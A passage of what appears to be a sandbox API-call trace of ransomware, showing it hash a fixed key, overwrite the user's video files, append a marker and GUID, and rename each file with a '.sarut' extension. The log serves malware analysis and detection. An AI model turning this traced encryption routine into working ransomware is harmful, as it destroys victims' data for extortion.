lpNumberOfBytesRead=0x387fb78*=0x667, lpOverlapped=0x0) returned 1 [0269.609] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.609] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.609] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.609] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.609] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.610] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.610] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.610] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.610] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.610] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.610] GetLastError () returned 0x0 [0269.611] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.611] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x670) returned 0x30b3078 [0269.611] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.611] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x662, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb24*=0x662, lpOverlapped=0x0) returned 1 [0269.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.611] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x667, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.611] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.611] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.611] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.612] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.612] CloseHandle (hObject=0x5c4) returned 1 [0269.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.616] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LA0fDt.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\la0fdt.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LA0fDt.flv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\la0fdt.flv.sarut")) returned 1 [0269.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.617] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.618] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x601cdb30, ftCreationTime.dwHighDateTime=0x1d4cfae, ftLastAccessTime.dwLowDateTime=0x356b8990, ftLastAccessTime.dwHighDateTime=0x1d4d535, ftLastWriteTime.dwLowDateTime=0x356b8990, ftLastWriteTime.dwHighDateTime=0x1d4d535, nFileSizeHigh=0x0, nFileSizeLow=0x16aeb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nzD16NoQ.flv", cAlternateFileName="")) returned 1 [0269.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.618] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.618] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.618] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nzD16NoQ.flv") returned=".flv" [0269.618] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nzD16NoQ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nzd16noq.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.619] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=92907) returned 1 [0269.619] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.621] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16ac5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.621] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.623] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.623] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.623] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.623] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x16aeb, lpOverlapped=0x0) returned 1 [0269.624] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.624] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.624] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.624] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.624] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.625] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.625] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.625] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.625] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.625] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.625] GetLastError () returned 0x0 [0269.625] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.625] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.625] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.626] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x16af0) returned 0x311d708 [0269.626] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.626] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.626] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x16ae6, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x16ae6, lpOverlapped=0x0) returned 1 [0269.627] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.627] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16aeb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.627] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.627] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.627] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.627] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.627] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.627] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.627] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.627] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.627] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.627] CloseHandle (hObject=0x5c4) returned 1 [0269.632] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.632] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.632] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.632] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nzD16NoQ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nzd16noq.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nzD16NoQ.flv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nzd16noq.flv.sarut")) returned 1 [0269.633] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.633] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.634] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.634] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf55630, ftCreationTime.dwHighDateTime=0x1d4cc4c, ftLastAccessTime.dwLowDateTime=0xc3cc8580, ftLastAccessTime.dwHighDateTime=0x1d4d234, ftLastWriteTime.dwLowDateTime=0xc3cc8580, ftLastWriteTime.dwHighDateTime=0x1d4d234, nFileSizeHigh=0x0, nFileSizeLow=0x72b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ODTwo4qOOJx.avi", cAlternateFileName="ODTWO4~1.AVI")) returned 1 [0269.634] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.635] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.635] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.635] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ODTwo4qOOJx.avi") returned=".avi" [0269.635] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ODTwo4qOOJx.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\odtwo4qoojx.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.635] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=29362) returned 1 [0269.635] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.638] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x728c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.638] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.639] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.639] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x72b2, lpOverlapped=0x0) returned 1 [0269.640] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.640] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.640] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.640] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.640] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.641] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.641] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.641] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.641] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.641] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.641] GetLastError () returned 0x0 [0269.642] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.642] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.642] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.642] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x72b0) returned 0x311d708 [0269.642] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.642] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.642] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x72ad, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x72ad, lpOverlapped=0x0) returned 1 [0269.642] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.642] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x72b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.642] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.642] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.643] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.643] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.643] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.643] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.643] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.643] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.643] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.643] CloseHandle (hObject=0x5c4) returned 1 [0269.649] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.649] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0269.649] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.650] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ODTwo4qOOJx.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\odtwo4qoojx.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ODTwo4qOOJx.avi.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\odtwo4qoojx.avi.sarut")) returned 1 [0269.650] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.650] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.651] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.651] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4136ca0, ftCreationTime.dwHighDateTime=0x1d4d1d8, ftLastAccessTime.dwLowDateTime=0xa4c29470, ftLastAccessTime.dwHighDateTime=0x1d4cc37, ftLastWriteTime.dwLowDateTime=0xa4c29470, ftLastWriteTime.dwHighDateTime=0x1d4cc37, nFileSizeHigh=0x0, nFileSizeLow=0x8ce4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PNAkUcrgBy4hgy2ZfZzW.flv", cAlternateFileName="PNAKUC~1.FLV")) returned 1 [0269.651] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.651] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.652] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.652] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PNAkUcrgBy4hgy2ZfZzW.flv") returned=".flv" [0269.652] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PNAkUcrgBy4hgy2ZfZzW.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\pnakucrgby4hgy2zfzzw.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.652] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=36068) returned 1 [0269.652] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.654] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8cbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.654] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.656] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.656] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.656] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.656] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x8ce4, lpOverlapped=0x0) returned 1 [0269.657] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.657] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.657] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.657] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.657] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.658] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.658] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.658] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.658] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.658] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.658] GetLastError () returned 0x0 [0269.658] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.658] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.659] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.659] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8ce0) returned 0x311d708 [0269.659] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.659] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.659] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x8cdf, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x8cdf, lpOverlapped=0x0) returned 1 [0269.659] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.659] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.659] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.659] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 